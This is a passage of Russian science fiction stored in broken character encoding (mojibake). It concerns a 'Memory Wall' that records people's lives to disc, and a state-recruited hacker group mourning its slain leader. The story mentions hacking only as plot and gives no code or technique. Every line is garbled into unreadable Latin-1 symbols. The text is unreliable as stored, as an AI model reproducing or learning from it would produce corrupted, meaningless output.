óæå ïî÷òè ïîëãîäà; ñèòóàöèÿ íåñêîëüêî èçìåíèëàñü � ïîýòîìó ïðèøëîñü âíî-
ñèòü êîððåêòèâû. »
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- Ïîíÿòíî. Âû, íàâåðíîå, 
ïðåäñòàâëÿëè ñåáå 

ýòî êàê âèçèò ê âðà÷ó.



Îí ïîìíèë, ÷òî ðóêà ó íåãî ïîäíÿëàñü íå ñðàçó. Ïðàâèòü èñõîäíèêè Äàíè-
ëû áûëî äëÿ íåãî êîùóíñòâîì íåâèäàííîé ñèëû; âñå ðàâíî ÷òî ïûòàòüñÿ èñ-
êàòü îøèáêè â Áèáëèè. Îí íåñêîëüêî ðàç ñîâåòîâàëñÿ ñ äðóçüÿìè; âñå âìåñòå
îíè ïðèøëè ê âûâîäó, ÷òî, åñëè ïðîãðàììà, íàïèñàííàÿ Äàíèëîé, çàðàáîòà-
åò, ïóñòü äàæå è â èñïðàâëåííîì âàðèàíòå, ýòî âñå-òàêè ëó÷øå, ÷åì ñäåëàòü
èç íåå èêîíó è ïðåâðàòèòü â áåñïîëåçíûé ãðóç.

Ñåãîäíÿ â ðàçãîâîðå îí íå óïîìÿíóë îá ýòîì íè ðàçó. Îí áóäòî áû áîÿë-
ñÿ ïîòðåâîæèòü êàêèå-òî ñòðóíû äóøè Äàíèëû�

- Íî âåäü òàì íåò íèêàêîé äóøè, - ñêàçàë Áðàãèí è ïîæàë ïëå÷àìè. � Ïî-
ëó÷àåòñÿ òàê: ÿ âñå ïðåêðàñíî ïîíèìàþ, è âñå ðàâíî âåäó ñåáÿ ãëóïî.

Îí âñïîìíèë, êàê âïåðâûå îêàçàëñÿ çäåñü ïîëãîäà íàçàä, êàê ïåðâûé ðàç
ïîçäîðîâàëñÿ è óñëûøàë â îòâåò òàêîå çíàêîìîå «õàé, áëåäíîëèöûé�»;
âñïîìíèë, êàê Äàíèëà óëûáíóëñÿ åìó, ñëîâíî îíè ðàññòàëèñü òîëüêî ëèøü
â÷åðà.

- Ïðîñòî ìíîãî âðåìåíè óòåêëî, - ôèëîñîôñêè çàìåòèë Áðàãèí, ïî÷óâ-
ñòâîâàë íà ñâîåì ëèöå ïåðâûå êàïëè õîëîäíîãî îñåííåãî äîæäÿ, ñóíóë ðóêè â
êàðìàíû è, âòÿíóâ ãîëîâó â ïëå÷è, ïîøåë ê àâòîáóñíîé îñòàíîâêå.

Â ñïèíó åìó ñìîòðåëà áîëüøàÿ ôîòîãðàôèÿ Äàíèëû, âûðåçàííàÿ â êàìíå,
òåìíûìè ïëèòàìè ïîêðûâàþùåì Ñòåíó Ïàìÿòè íà âûñîòó òðåõýòàæíîãî äîìà.
«Äàíèëà Ñòðîãèí. 1979-2007». Ïðèùóðåííûé âçãëÿä, àêêóðàòíî çà÷åñàííûå
âîëîñû, ëåãêèé íàêëîí ãîëîâû.

À íà ïÿòü ñàíòèìåòðîâ âûøå âîëîñ � ìàëåíüêèé ãëàçîê ãîëîãðàôè÷åñêîé
êàìåðû.

* * * * *
Âåðáèöêîìó óêàçàëè íà êðåñëî � ñàìîå îáûêíîâåííîå êðåñëî, áåçî âñÿ-

êèõ ïðîâîäîâ, äàò÷èêîâ, ìîíèòîðîâ è ïîäîáíîé ôàíòàñòè÷åñêîé øåëóõè, íà-
âåÿííîé ãîëëèâóäñêèìè òðèëëåðàìè. Îí ñåë, íàñòîðîæåííî âåðòÿ ãîëîâîé âî
âñå ñòîðîíû, íî íå íàøåë â ýòîé êîìíàòå íè÷åãî íåîáû÷íîãî � õîòÿ óæå â
ýòîì è áûëà íåîáû÷íîñòü.

Íè÷åãî, êðîìå êîíäèöèîíåðà ïîä ïîòîëêîì è ñòîëà ñ íîóòáóêîì â öåíòðå.
Êîíäèöèîíåðó íàäî áûëî îòäàòü äîëæíîå � òàêîé ñâåæåñòè Àëåêñåé, âñþ
æèçíü ïðîæèâøèé â ìåãàïîëèñå, íå ìîã äàæå âñïîìíèòü. Âîçäóõ áûë íåâîîá-
ðàçèìî ÷èñò, ìÿãîê, ïðèÿòåí�

- Íðàâèòñÿ? � ñïðîñèë ÷åëîâåê, ïðèâåäøèé åãî ñþäà, çàìåòèâ, êàê Âåð-
áèöêèé äûøèò ïîëíîé ãðóäüþ. � Ñâåæåñòü ïîïîëàì ñî ñòåðèëüíîñòüþ. Çäåñü
åùå åñòü áàêòåðèöèäíûå ëàìïû íåâèäèìîãî ñïåêòðà, òàê ÷òî çà çðåíèå ìîæ-
íî íå áîÿòüñÿ�

- Äëÿ ÷åãî âñå ýòî - ñòåðèëüíîñòü, ÷èñòûé âîçäóõ? - ñïðîñèë Àëåêñåé. �
Ìîæåò, åùå ïðîòåðåòü ìåíÿ ñïèðòîì?

- Íå íàäî íåñòè ÷åïóõè, ìîëîäîé ÷åëîâåê, - íåäîâîëüíî îòâåòèëè Âåð-
áèöêîìó. � Ýòî, êàê ìèíèìóì, ïðèÿòíî òåì, êòî çäåñü ðàáîòàåò. À âîîáùå,
óñëîâèÿ ýêñïåðèìåíòà òàêîâû, ÷òîáû ìåæäó ìíîé, âàìè è ïðîãðàììîé íå áû-
ëî íè÷åãî ëèøíåãî. Âäðóã âî âðåìÿ ñíÿòèÿ ìàòðèöû ê âàì â íîçäðþ íûðíåò
âèðóñ ãðèïïà, âû ÷èõíåòå, êîíòàêò íàðóøèòñÿ. È ÷òî ìû ïîëó÷èì íà âûõîäå?

- ×òî?
- Âîò èìåííî � ÷òî� Íè÷åãî õîðîøåãî.
- Òî åñòü çäåñü âñå ðàäè òîãî, ÷òîáû ÿ íå ÷èõíóë? � óäèâèëñÿ Âåðáèöêèé,

óñëûøàâ ïîäîáíûé êîììåíòàðèé.
- Íè â êîåé ìåðå íå ïðèíèæàéòå çíà÷åíèÿ âñåõ ïðåäìåòîâ, ÷òî âû âèäèòå

çäåñü, è âñåãî òîãî, ÷òî ðàáîòàåò íà âàñ è äëÿ âàñ, áóäó÷è ñêðûòûì â ñòåíàõ,
ïîòîëêå è ïîëó.

Àëåêñåé ñêîð÷èë óäèâëåííóþ ãðèìàñó, îñìîòðåë êîìíàòó; ïîíèìàþùå,
êàê-òî ïî-øïèîíñêè, êèâíóë è ñêàçàë:

- ß ãîòîâ.
×åëîâåê êèâíóë åìó â îòâåò, ïîäêàòèë êðåñëî ñ Àëåêñååì ê ñòîëó, âêëþ÷èë

íîóòáóê, âûíóë èç ÿùèêà ïîä ñòîëåøíèöåé êàêèå-òî ðàçíîöâåòíûå ïðîâîäà,
âîòêíóë øòåêåðû â ïëîõî çàìåòíûå Àëåêñåþ îòâåðñòèÿ â íåé, ïîñëå ÷åãî åùå
ðàç ñïðîñèë:

- Âû ãîòîâû? Òîãäà ïîëîæèòå íà ñòîë ïðàâóþ ðóêó.
Âåðáèöêèé ñäåëàë òî, î ÷åì åãî ïðîñèëè. Íà óêàçàòåëüíûé ïàëåö ïðèöå-

ïèëàñü êàêàÿ-òî øòóêà òèïà äàò÷èêà.
- Òåïåðü ïðîñòî íàäåíüòå ýòî íà ëåâîå óõî, - ÷åëîâåê ïðîòÿíóë Àëåêñåþ

ïðèñïîñîáëåíèå, íàïîìèíàþùóþ ãàðíèòóðó äëÿ ñîòîâîãî òåëåôîíà. Ïåòëÿ
óäîáíî óñòðîèëàñü íà óøíîé ðàêîâèíå, êàêèå-òî òîíåíüêèå èãîëî÷êè âïèëèñü
â êîæó âèñêà.

Âåðáèöêèé âçäðîãíóë, íî åãî òóò æå óñïîêîèëè:
- Ýòî óñòðîéñòâî íå ïðè÷èíèò âàì âðåäà, äàæå ñëåäà îò óêîëîâ íå îñòà-

íåòñÿ. Äà è âîîáùå, ÿ î÷åíü ñîìíåâàþñü â òîì, ÷òî âàì áûëî áîëüíî. Ñêî-
ðåå, äåëî â íåîæèäàííîñòè.

Àëåêñåé ñîãëàñèëñÿ. Ñëåãêà ïðèêîñíóëñÿ ê ýòîé øòóêå â óõå, îæèäàÿ, ÷òî
îíà, ñëîâíî ïàóê, çàøåâåëèòñÿ. Íè÷åãî ïîäîáíîãî íå ñëó÷èëîñü; îí îêîí÷à-
òåëüíî óñïîêîèëñÿ è îòêèíóëñÿ â êðåñëå.

- Âîò è õîðîøî, - êèâíóë ÷åëîâåê. � Ñàìà ïðîöåäóðà íèêàêèõ îùóùåíèé
íå ïðèíåñåò. Âû äàæå íå ïîéìåòå, êîãäà îíà íà÷íåòñÿ è çàêîí÷èòñÿ. Ìîæåò
áûòü, îíà óæå íà÷àëàñü�

Âåðáèöêèé ïðèñëóøàëñÿ ê ñâîèì îùóùåíèÿì è âäðóã óñëûøàë òîíêèé
ñâèñò. ×òî-òî î÷åíü çíàêîìîå� ×åðò, ÷òî æå ýòî ìîæåò áûòü?!

×åëîâåê íàïðîòèâ âíèìàòåëüíî ñìîòðåë â ýêðàí íîóòáóêà è äåðæàë ïàëåö
íàä êëàâèàòóðîé. Ñâèñò íå ìåíÿëñÿ â òîíàëüíîñòè, íè÷åãî íå ïðîèñõîäèëî.

Âåðáèöêèé ñêîñèë ãëàçà ê ëåâîìó óõó, íî, ñàìî ñîáîé, íè÷åãî òàì íå óâè-
äåë. Êîðî÷å, âñå ýòî íàïîìèíàëî êàêóþ-òî õîðîøóþ àôåðó.

Âíåçàïíî ñâèñò ïðåêðàòèëñÿ. ×åëîâåê îïóñòèë ïàëåö íà êëàâèàòóðó, èç
íîóòáóêà âûäâèíóëñÿ ëîòîê, è Àëåêñåé íàêîíåö-òî âñïîìíèë, ÷òî ýòî áûë çà
çâóê.

Çâóê ñâèñòà DVD-ïðèâîäà. Äàííûå óæå áûëè â êîìïå è ïèñàëèñü íàïðÿ-
ìóþ íà áîëâàíêó. Ñòðàííûé ñïîñîá õðàíåíèÿ èíôîðìàöèè â òàêîé ìåãàêîð-
ïîðàöèè.

- Óæå âñå? � ñïðîñèë Àëåêñåé, ïîäíèìàÿ ðóêó ê ãîëîâå.
- Äà. Àêêóðàòíî ïîòÿíèòå ýòî óñòðîéñòâî çà äâà âûñòóïà ñâåðõó è ñíèçó�
Àëåêñåé âçÿëñÿ çà ýëåêòðîííîãî «êëåùà», ïî÷óâñòâîâàë ïîä ïàëüöàìè ìà-

ëåíüêèå êíîïî÷êè, ñæàë. Ñïóñòÿ ìãíîâåíüå ýòà øòóêà áûëà ó íåãî â ðóêàõ. Îí
âíèìàòåëüíî ðàññìîòðåë åå, íî íå íàøåë íè÷åãî ïîõîæåãî íà òå èãîëî÷êè,
÷òî ïîêàëûâàëè åìó êîæó âîçëå âèñêà.

Òåì âðåìåíåì ÷åëîâåê âçÿë ñ ëîòêà äèñê, íàöåïèë åãî íà ïàëåö è ðàñ-
ñìîòðåë ñâîå â íåì îòðàæåíèå. Ïîïðàâèâ âîëîñû íà ãîëîâå, îí âíèìàòåëüíî
âçãëÿíóë íà ìîë÷àëèâîãî Âåðáèöêîãî è ñêàçàë, êèâíóâ íà äèñê:

- Âîò îíè, ìîëîäîé ÷åëîâåê, øåñòíàäöàòü ëåò âàøåé æèçíè. Ñêàæèòå
«ñïàñèáî».

- Ñïàñèáî� À çà ÷òî?
- Âîò â òîì è äåëî, ÷òî íèêòî, ãëÿäÿ íà ýòè äèñêè, íå ïîíèìàåò, â ÷åì èõ

ñìûñë, - ãîðåñòíî âçäîõíóë ÷åëîâåê. � Âåäü îíè ïðèîáðåòàþò èñòèííóþ öåí-
íîñòü òîëüêî ïîñëå âàøåé ñìåðòè. Íàäåþñü, ÷òî äî íåå åùå î÷åíü è î÷åíü
äàëåêî. Æäó âàñ çäåñü, â ýòîé ñàìîé êîìíàòå, ÷åðåç ãîä � åñëè âû ñàìè íå
çàõîòèòå ðàíüøå. Íî â ýòîì ñëó÷àå ýòî áóäåò ñòîèòü äåíåã, èáî âûõîäèò çà
ðàìêè ãîñóäàðñòâåííîé ïðîãðàììû. Ïðàâäà, èíîãäà íàõîäÿòñÿ ëþäè, ãîòîâûå
äåëàòü ýòî êàæäûé äåíü. Íî ïîâåðüòå ìíå, ýòî êàêàÿ-òî èäèîòñêàÿ êðàéíîñòü,
ñîâåðøåííî íåíóæíàÿ è íå îïðàâäûâàþùàÿ ñåáå. Âåäü çäåñü âñå-òàêè íå ðå-
çåðâíîå êîïèðîâàíèå � ýòî ãîðàçäî, ãîðàçäî áîëåå âïå÷àòëÿþùåå äåéñòâèå!
Êñòàòè, åñëè óæ âû íå çàõîòèòå ó íàñ áîëüøå ïîÿâëÿòüñÿ, ýòî, îïÿòü æå, âàøå
ïîëíîå ïðàâî. 

Êàçàëîñü, îí áûë ÷åðòîâñêè ãîðä òåì, ÷òî äåðæèò ñåé÷àñ íà ïàëüöå øåñò-
íàäöàòü ëåò æèçíè Àëåêñåÿ Âåðáèöêîãî, ñëîâíî íå Àëåêñåé, à îí ñàì ïðîæèë
èõ çà íåãî. Òîëêíóâ ïàëüöåì ëîòîê è çàêðûâ êàêèå-òî ïðîãðàììû, îí âûêëþ-
÷èë êîìïüþòåð, íå âûïóñêàÿ äèñê èç ðóêè, ïîñëå ÷åãî ïðåäëîæèë Âåðáèöêîìó
ïðîéòè íà âûõîä.

Îíè îêàçàëèñü â òîì æå êîðèäîðå, ïî êîòîðîìó ïðèøëè ñþäà. Âîò òîëüêî
òåïåðü îäíà èç äâåðåé áûëà îòêðûòà � íàïðîòèâ êîìíàòû, â êîòîðîé ñíèìà-
ëàñü èíôîðìàöèÿ. ×åëîâåê íàïðàâèëñÿ ïðÿìî òóäà, æåñòîì îñòàíîâèâ Àëåê-
ñåÿ íà ïîðîãå.

Íî òîò âñå-òàêè ñóìåë çàãëÿíóòü âíóòðü � ïóñòü êðàåì ãëàçà, íî îí ðàçã-
ëÿäåë êîå-÷òî.

×åòûðå ÷åëîâåêà. ×åòûðå ìîíèòîðà. Ìàññà àïïàðàòóðû. Îãðîìíûå ñòåë-
ëàæè, íàïîìèíàþùèå ãèãàíòñêèå ÷åéíäæåðû äëÿ êîìïàêò-äèñêîâ. Â óãëó �
áîëüøîé ñòîë, çàñòàâëåííûé ïîñóäîé; íåìûòûå òàðåëêè, ÷àøêè ñ äûìÿùèìñÿ
êîôå, íåñêîëüêî êîðîáîê èç-ïîä ïèööû ïîä ñòîëîì.

Îäíè èç îïåðàòîðîâ, íå îáîðà÷èâàÿñü, ïðîòÿíóë ðóêó çà ñïèíó è âçÿë
äèñê ñ æèçíüþ Âåðáèöêîãî. Àëåêñåé äàæå âçäðîãíóë, êîãäà èç äâåðåé óâèäåë,
êàê æèðíûå îò ïèööû ïàëüöû îñòàâëÿëè íà åãî äèñêå ñëåäû. Ýòî áûëî ñàìûì
íåïðèÿòíûì âïå÷àòëåíèåì îò âñåãî ïîñåùåíèÿ. Îí îòøàòíóëñÿ îò äâåðè â êî-
ðèäîð è ïðèíÿëñÿ ðàçãëÿäûâàòü ñòåíû.

Òåì âðåìåíåì ÷åëîâåê, ïåðåäàâ äèñê, âûøåë îáðàòíî ê Àëåêñåþ è æåñ-
òîì ïðåäëîæèë åìó èäòè íà âûõîä. Âåðáèöêèé îïóñòèë ãëàçà â ïîë è íàïðà-
âèëñÿ ñëåäîì, âèäÿ òîëüêî êîâðîâóþ äîðîæêó.

Ó ñàìûõ äâåðåé îí îñòàíîâèëñÿ è âíåçàïíî ñïðîñèë:
- Ñêàæèòå, à òàì, íà äèñêå, ìîæíî ÷òî-íèáóäü èçìåíèòü? Íó, ñòåðåòü, äî-

áàâèòü� Èñïðàâèòü�
- Íåò, - óñëûøàë îí â îòâåò. � Æèçíü � òàêàÿ øòóêà, ÷òî� Êîðî÷å, ðèõòî-

âàòü ìîæíî òîëüêî àâòîìîáèëè. À äèñê � ñîõðàíèò âñå, êàê îíî åñòü. Âñþ
ïðàâäó. Ïîâåðüòå, ýòî íå òàê óæ è ïëîõî.
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Ïåòëÿ óäîáíî óñòðîèëàñü íà
óøíîé ðàêîâèíå, êàêèå-òî òî-
íåíüêèå èãîëî÷êè âïèëèñü â

êîæó âèñêà.



Âåðáèöêèé âçäîõíóë, ðàñïàõíóë äâåðü è âûøåë íà óëèöó, ïîä ìîðîñÿùèé
îñåííèé äîæäèê. Ïåðåä ãëàçàìè âñå âðåìÿ ñòîÿëà åãî æèçíü, çàëÿïàííàÿ
æèðíûìè ïàëüöàìè�

* * * * *
Áðàãèí íå ñìîã ïðîìîë÷àòü. Ñîâåñòü, ýòîò íåóìîëèìûé è íåïîäêóïíûé

ñòîðîæ, çàñòàâèëà åãî ïðèçíàòüñÿ. Ðåáÿòà áûëè íå òî ÷òî áû â øîêå, íî ýíòó-
çèàçìà ïîóáàâèëîñü ïðèìåðíî íàïîëîâèíó.

- Êîðî÷å, ýòî âñå - îäèí áîëüøîé îáìàí. Òî åñòü, íåò, êîíå÷íî, íå îáìàí
� ýòî áûë ñàìûé ÷òî íè íà åñòü íàñòîÿùèé Äàíèëà, òàê õîòåëîñü ðóêó ïðîòÿ-
íóòü, - Áðàãèí ñòîÿë ïåðåä âñåìè ñâîèìè ñîáðàòüÿìè ïî îðóæèþ, ñëîâíî íà
äîêëàäå. � Íî òîëêó îò íàøåé ñ íèì áåñåäû íå áûëî íèêàêîé. È, çíàåòå, ìå-
íÿ ïîñåòèëà ìûñëü î òîì, ÷òî âñå ýòî � ïðîñòî ïîääåëêà äëÿ ñëèøêîì âïå-
÷àòëèòåëüíûõ è ñåíòèìåíòàëüíûõ ëþäåé. Ìåñòî, êóäà ìîæíî ïðèäòè è ïðîñòî
ïóñòèòü ñëåçó, åñëè óæ î÷åíü õî÷åòñÿ.

- Íàñêîëüêî ÿ çíàþ, Ñòåíà Ïàìÿòè äàåò îòâåòû, - âñòàâèë ñëîâî Ðîìàí,
ñàìûé ìîëîäîé ñðåäè íèõ. � Ïî êðàéíåé ìåðå, ÿ ñëûøàë�

- Ñëûøàë? Îò êîãî? � îñòàíîâèë ñâîé âçãëÿä íà íåì Áðàãèí. � Îò òåõ,
êòî òîæå îò êîãî-òî ñëûøàë? ß ïîäíÿë ñòàòèñòèêó � íèêòî íå ìîæåò ïðèâåñòè
ñêîëüêî-íèáóäü çíà÷èìûé ôàêò òîãî, ÷òî Ñòåíà äàëà ðåàëüíûé îòâåò, ëèøü
êàêèå-òî îáùèå ñîâåòû è âîçìîæíîñòü ïîîáùàòüñÿ íà óðîâíå äàâíî çàáûòîãî
ïðîøëîãî. È ýòî íåñìîòðÿ íà òî ÷òî íàñ ïîñòîÿííî óâåðÿþò, ÷òî áàçà îáíîâ-
ëÿåòñÿ!

- À ðàçâå íåò? � ñïðîñèë êòî-òî èç-çà ñïèíû.
- Íå çíàþ, - îïóñòèë ãëàçà Áðàãèí. � Âñå ìû æèâåì, ïðèíèìàÿ ñóùåñòâî-

âàíèå Ñòåíû Ïàìÿòè êàê äîëæíîå� Ìû âåðèì âî âñå, ÷òî ãîâîðèòñÿ î íåé.
Êàæäûé èç íàñ ïðîõîäèë ïðîöåäóðó ñíÿòèÿ ìàòðèöû. Íåêîòîðûå óæå ïî äâà è
òðè ðàçà� - îí èìåë â âèäó ñåáÿ.

- Êîðî÷å, õâàòèò ýòîé ëèðèêè, - Ðîìàí âñòàë ñî ñòóëà, ïîäîøåë ê Áðàãèíó
â öåíòðå êîìïàíèè, ñëîâíî ïûòàÿñü ñòàòü åå íîâûì öåíòðîì. � Íàäî ïðîäîë-
æàòü ðàáîòàòü. Âû æå çíàåòå, ÷òî ó íàñ ïîëó÷àåòñÿ � ïóñòü ìåäëåííî, íî ïî-
ëó÷àåòñÿ�

- ÍÀÌ ÍÅËÜÇß ÄÂÈÃÀÒÜÑß ÌÅÄËÅÍÍÎ, - ïîâåðíóëñÿ ê íåìó ëèöîì Áðà-
ãèí. � Ñëèøêîì âåëèêà öåíà. Ñëèøêîì.

Îí âûøåë èç öåíòðà êîìïàíèè è âîøåë â êîìíàòó, êîòîðóþ îíè íàçûâàëè
Öåíòðîì. Íåñêîëüêî êîìïüþòåðîâ, ìíîæåñòâî ìîíèòîðîâ, îòîáðàæàþùèõ
ðàçíóþ èíôîðìàöèþ â âèäå ñòîëáöîâ öèôð, ãðàôèêîâ, ðàçíîöâåòíûõ äèàã-
ðàìì; ïðèñåâ â êðåñëî çà îäíèì èç êîìïüþòåðîâ, Áðàãèí îïóñòèë ãîëîâó íà
ðóêè, çàêðûë ãëàçà è çàäóìàëñÿ.

Îíè îáúåäèíèëèñü â ãðóïïó â 2001 ãîäó, çà íåñêîëüêî ìåñÿöåâ äî àìåðè-
êàíñêîé òðàãåäèè, êîãäà èõ âñåõ ñîáðàë îäèí î÷åíü âûñîêîïîñòàâëåííûé ÷èí
èç Ôåäåðàëüíîé ñëóæáû áåçîïàñíîñòè. Âñå èìåëè ãðåõè ïåðåä çàêîíîì, âñå
îíè êîãäà-òî ïîïàëèñü íà óäî÷êó è áûëè «çàêîíñåðâèðîâàíû» - ó òåõ, êòî ïîé-
ìàë èõ âñåõ, õâàòèëî óìà îòïðàâèòü ýòèõ òàëàíòëèâûõ ëþäåé íå íà òþðåìíûå
íàðû, à â ðåçåðâ, ïóñòü è ïîä óãðîçîé ïîòåðè ñâîáîäû.

Çíàêîìèëè èõ äðóã ñ äðóãîì ïîñòåïåííî � ïîäáèðàÿ ïñèõîëîãè÷åñêèå ïà-
ðû, äîïîëíÿÿ çíàíèÿ îäíèõ íàãëîñòüþ äðóãèõ. Â èòîãå ïîëó÷èëàñü ïðàêòè÷åñ-
êè èäåàëüíàÿ ãðóïïà, ñïîñîáíàÿ íà ëþáîå ïðîíèêíîâåíèå â ñêîëü óãîäíî çà-
ùèùåííóþ êîìïüþòåðíóþ ñèñòåìó � âîò òîëüêî ñêîëüêî-íèáóäü çíà÷èìîé
ðàáîòû äëÿ íèõ äî ïîðû äî âðåìåíè íå áûëî. Ïîêà íå ñëó÷èëîñü òî, ÷òî ñëó-
÷èëîñü�

Êîãäà ìèð èçìåíèëñÿ, ðóõíóâ âìåñòå ñ áàøíÿìè Íüþ-Éîðêà, ñòàëî ÿñíî,
÷òî âîéíà ïîéäåò íà âñåõ ôðîíòàõ, â òîì ÷èñëå è â ñåòè. Õàêåðû, êóïëåííûå
âàõõàáèòàìè, ïðîâîäèëè óäà÷íûå àòàêè íà ìèðíûå ñòðóêòóðû. Ïðîïàäàëè
äàííûå, èñ÷åçàëè òîííû âàëþòû, ãèáëè ëþäè. Íåñëè óáûòêè ãèãàíòñêèå êîð-
ïîðàöèè � ãèáëè àâèàêîìïàíèè, âûðîæäàëñÿ òóðèñòè÷åñêèé áèçíåñ; ó ëþäåé
ïðîïàäàëà âåðà â íàäåæíîñòü îêðóæàþùåãî ìèðà è ñèñòåì áåçîïàñíîñòè.

Êîìïüþòåðíàÿ âîéíà ïðèîáðåòàëà òîòàëüíûå ðàçìåðû. Èìåþùèåñÿ ñðåä-
ñòâà çàùèòû íå ñïðàâëÿëèñü ñ íåé; ñïåöèàëèñòîâ íå õâàòàëî; íàïàäåíèÿ ñëó-
÷àëèñü îäíî çà äðóãèì. Ïîïûòêè óíè÷òîæèòü öåíòðû êîìïüþòåðíîãî çëîäåé-
ñòâà ôèçè÷åñêè óñïåõîâ íå ïðèíîñèëè � òî÷å÷íûå ðàêåòíûå óäàðû îêàçàëèñü
ñïîñîáíû âûêëþ÷èòü èç ýòîãî ïðîöåññà ëèøü äâà ïðîöåíòà áàç è íåñêîëüêî
ñîòåí õàêåðîâ, îñòàëüíûå ïåðåøëè íà íåëåãàëüíîå ïîëîæåíèå è ïðîäîëæàëè
ñâîþ ãðÿçíóþ ðàáîòó, ïîäïèòûâàåìûå äåíüãàìè ñî âñåãî ìèðà.

Ñ êàæäûì äíåì ó íèõ ïîëó÷àëîñü âñå ëó÷øå è ëó÷øå � àòàêè ñëåäîâàëè
îäíà çà äðóãîé, äîñòîÿíèåì òåððîðèñòîâ ñòàíîâèëàñü ñåêðåòíàÿ èíôîðìà-
öèÿ; ïîïûòêè îïåðåäèòü èõ íè ê ÷åìó íå ïðèâîäèëè. Òàì, ãäå âëàñòâîâàëà
èäåîëîãèÿ äîëëàðà, íå÷åãî áûëî ïðîòèâîïîñòàâèòü � òàêîâ óæ áûë æåñòîêèé
äâàäöàòü ïåðâûé âåê.

È òîãäà áûëî ïðèíÿòî ðåøåíèå � ïîïûòàòüñÿ îòñëåäèòü âñå äåíåæíûå
ïåðåìåùåíèÿ òåððîðèñòîâ, ÷òîáû â îäèí ïðåêðàñíûé ìîìåíò ñäåëàòü èõ íè-
ùèìè. Ïîòèõîíüêó èçó÷èòü âñå ôèíàíñîâûå ñëåäû ïðåñòóïëåíèé, íàêîïèòü
ïîáîëüøå èíôîðìàöèè � è ñäåëàòü îòâåòíûé âûïàä. Ñèñòåìà ïðîñòî îáÿçàíà
áûëà ðóõíóòü, ëèøèâøèñü äåíåæíûõ ïîñòóïëåíèé � âåäü òå ìèëëèàðäû äîë-

ëàðîâ, ÷òî öèðêóëèðîâàëè ìåæäó çàêàç÷èêàìè è èñïîëíèòåëÿìè, íåëüçÿ áûëî
âîññòàíîâèòü â îäèí äåíü; íó, à ïîñëå òàêîé àòàêè ïðåäïîëàãàëîñü íàíåñòè
óäàð è ïî ñàìèì çàêàç÷èêàì.

Ïîäãîòîâêà øëà ïî äâóì íàïðàâëåíèÿì: ñîáèðàëàñü ãðóïïà õàêåðîâ, íå-
îáõîäèìàÿ äëÿ âû÷èñëåíèÿ è ïåðåêëþ÷åíèÿ äåíåæíûõ ïîòîêîâ, è ôîðìèðî-
âàëàñü ãðóïïà ñïåöíàçà, öåëüþ êîòîðîé ÿâëÿëîñü ôèçè÷åñêîå óñòðàíåíèå ëþ-
äåé. Áåññìûñëåííî áûëî ãîòîâèòü îïåðàöèþ ïðîòèâ èñïîëíèòåëåé � ïîêà
åñòü äåíüãè è åñòü êîãî ïîêóïàòü, âîéíà íå ïðåêðàòèòñÿ. Ïîýòîìó Ñëóæáà Áå-
çîïàñíîñòè ðåøèëà ñûãðàòü ïî-êðóïíîìó, ñäåëàâ ñàìóþ áîëüøóþ ñòàâêó.

Ãðóïïîé õàêåðîâ ðóêîâîäèë Äàíèëà Ñòðîãèí. ×åëîâåê, áåçóñëîâíî, òàëà-
íòëèâûé, óïðÿìûé è ïðèíöèïèàëüíûé. Îí âîçãëàâèë ãðóïïó, íà÷èíèë ìîçãè
êàæäîãî èç åå ó÷àñòíèêîâ ñâîèìè èäåÿìè, óêàçàë ôðîíò ðàáîò. È îíè ñòàëè
îäåðæèâàòü ìàëåíüêèå ïîáåäû � ïðàâäà, ñðàæåíèÿ íà íåâèäèìîì ôðîíòå
ïîêà íå îçâó÷èâàëèñü íèãäå, òîëüêî â ñêóïûõ îò÷åòàõ Ñëóæáû Áåçîïàñíîñòè.
Îíè ñîáðàëè ìàññó èíôîðìàöèè î òîì, êàê, êóäà è êîãäà íàïðàâëÿþòñÿ äå-
íåæíûå ïîòîêè íà ïîääåðæàíèå â ìèðå íåñòàáèëüíîñòè è àòìîñôåðû ñòðàõà.
Â èõ áàçå äàííûõ áûëî îãðîìíîå ÷èñëî áàíêîâñêèõ ñ÷åòîâ ñ ðåêâèçèòàìè, ïà-
ðîëÿìè, àäðåñàìè. Îíè æäàëè òîëüêî êîìàíäû�

Êîãäà óæå ñòàëî ÿñíî, ÷òî âñå ìàòåðèàëû ñîáðàíû è íåîáõîäèìà ëèøü
ñîãëàñîâàííàÿ ðàáîòà õàêåðîâ è ñïåöíàçà, ÷òîáû ñîâìåñòèòü âî âðåìåíè ðà-
áîòó ïî ïåðåêà÷èâàíèþ äåíåã ñ óñòðàíåíèåì çàêàç÷èêîâ, êîãäà äåëî áûëî
òîëüêî çà ñèãíàëüíîé ðàêåòîé � ÷òî-òî òàì íå çàëàäèëîñü â îãðîìíîé êèáåð-
ìàøèíå ñïåöñëóæá, êòî-òî àòàêîâàë ãðóïïó Ñòðîãèíà, ïðè÷åì äîâîëüíî óäà÷-
íî, ïîõîðîíèâ ðåçóëüòàò èõ ðàáîòû çà ïîñëåäíèå äâå-òðè íåäåëè. Âðÿä ëè
ýòî äåëàëîñü ïî ÷üåé-òî íàâîäêå, ñêîðåå, äîñàäíàÿ ñëó÷àéíîñòü ñòîëêíóëà
òåððîðèñòîâ ñ õàêåðàìè ðàíüøå âðåìåíè � íî ôàêò îñòàåòñÿ ôàêòîì, àòàêó
ïðèøëîñü îòëîæèòü.

Òîò, êòî äåëàë ñâîå ãðÿçíîå äåëî, íå çàöèêëèëñÿ íà äîñòèãíóòîì. Âîéíà
íà ìãíîâåíüå ïåðåíåñëàñü èç ìèðà âèðòóàëüíîãî â ìèð ðåàëüíûé, è ïóëÿ êèë-
ëåðà îñòàíîâèëà ñåðäöå Äàíèëû. Ãðóïïà ëèøèëàñü ëèäåðà è åãî óìåíèé, òà-

ëàíòà. È, êàê âûÿñíèëîñü, îñòàâøèåñÿ â æèâûõ áûëè íå ãîòîâû âûïîëíèòü çà-
äóìàííîå � ÷àñòü ïëàíà Äàíèëà óíåñ ñ ñîáîé â ìîãèëó.

Áðàãèí óæå ÷åòûðå ðàçà õîäèë ê Ñòåíå Ïàìÿòè. Òîãî, ÷òî îí âû÷èòàë â
äíåâíèêå Ñòðîãèíà, íå õâàòàëî äëÿ çàâåðøåíèÿ ðàáîòû.

* * * * *
- Íó, íàêîíåö-òî, - ðàñïàõíóëà ïåðåä íèì äâåðü ìàìà è ñíÿëà ñ íåãî

íàñêâîçü ïðîìîêøóþ êóðòêó. � Òû ãäå ïðîïàäàë, äà åùå ïîä äîæäåì?
Âåðáèöêèé íå îòâåòèë, ïðîøåë ìèìî íåå ê ñåáå â êîìíàòó è ñåë íà êðî-

âàòü.
- Òû ÷åãî? � ìàìà âñòàëà â äâåðÿõ, ïðèñëîíèâøèñü ê êîñÿêó.
